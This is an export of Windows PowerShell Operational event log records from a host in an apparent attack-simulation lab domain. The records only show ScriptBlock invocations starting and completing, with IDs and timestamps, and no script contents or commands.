Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648281
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648280
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648279
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648278
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648277
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648296
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648295
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648294
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648293
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648292
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648291
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648290
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648289
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:09 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648287
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648306
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648305
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648303
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648302
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648301
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648299
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:15 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648297
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648333
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648332
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648330
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648329
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648328
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648326
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648325
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648324
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648323
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648322
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a7797e7-d0c0-45db-8c93-06d8aab20457
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648321
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a7797e7-d0c0-45db-8c93-06d8aab20457
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648320
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648319
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648318
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648317
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648316
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648315
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648314
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648313
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648311
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648310
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648309
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648308
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648307
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:20:21 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
